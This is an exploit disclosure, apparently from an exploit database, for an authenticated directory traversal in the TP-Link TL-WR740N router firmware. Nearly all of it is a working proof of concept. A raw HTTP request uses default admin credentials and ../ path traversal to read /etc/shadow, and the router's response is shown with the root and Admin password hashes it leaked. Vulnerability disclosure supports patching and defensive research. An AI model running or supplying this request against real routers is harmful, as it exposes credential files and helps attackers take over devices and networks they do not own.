TP-Link TL-WR740N – Authenticated Directory Transversal
# Exploit Title: TP-Link TL-WR740N - Authenticated Directory Transversal # Date: 13/7/2023 # Exploit Author: Anish Feroz (Zeroxinn) # Vendor Homepage: http://www.tp-link.com # Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n # Tested on: TP-Link TL-WR740N ---------------------------POC--------------------------- Request ------- GET /help/../../../etc/shadow HTTP/1.1 Host: 192.168.0.1:8082 Authorization: Basic YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Response -------- HTTP/1.1 200 OK Server: Router Webserver Connection: close WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N" Content-Type: text/html <META http-equiv=Content-Type content="text/html; charset=iso-8859-1"> <HTML> <HEAD><TITLE>TL-WR740N</TITLE> <META http-equiv=Pragma content=no-cache> <META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT"> <LINK href="https://www.exploit-db.com/dynaform/css_help.css" rel=stylesheet type="text/css"> <SCRIPT language="javascript" type="text/javascript"><!-- if(window.parent == window){window.location.href="http://192.168.0.1";} function Click(){ return false;} document.oncontextmenu=Click; function doPrev(){history.go(-1);} //--></SCRIPT> root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: bin::10933:0:99999:7::: daemon::10933:0:99999:7::: adm::10933:0:99999:7::: lp:*:10933:0:99999:7::: sync:*:10933:0:99999:7::: shutdown:*:10933:0:99999:7::: halt:*:10933:0:99999:7::: uucp:*:10933:0:99999:7::: operator:*:10933:0:99999:7::: nobody::10933:0:99999:7::: ap71::10933:0:99999:7::: |